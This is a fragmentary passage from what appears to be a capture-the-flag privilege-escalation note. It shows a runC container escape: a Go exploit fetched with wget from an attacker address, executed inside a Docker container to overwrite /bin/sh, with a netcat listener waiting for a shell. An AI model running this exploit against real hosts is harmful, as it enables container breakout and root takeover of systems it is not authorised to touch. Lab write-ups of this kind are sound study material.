5 privesc docker runC exploit
go build main.go
<start a python-server>
<start-nc-listener>Terminal-1
sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
oot@0f4c2517af40:/opt/webapp# wget 10.10.14.2/main
root@0f4c2517af40:/opt/webapp# chmod +x main
root@0f4c2517af40:/opt/webapp# ./main
[+] Overwritten /bin/sh successfully
<START TERMINAL-2 COMMAND>
[+] Found the PID: 2453
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc00033e060}Terminal-2
NC Listener
Reading Material:
Last updated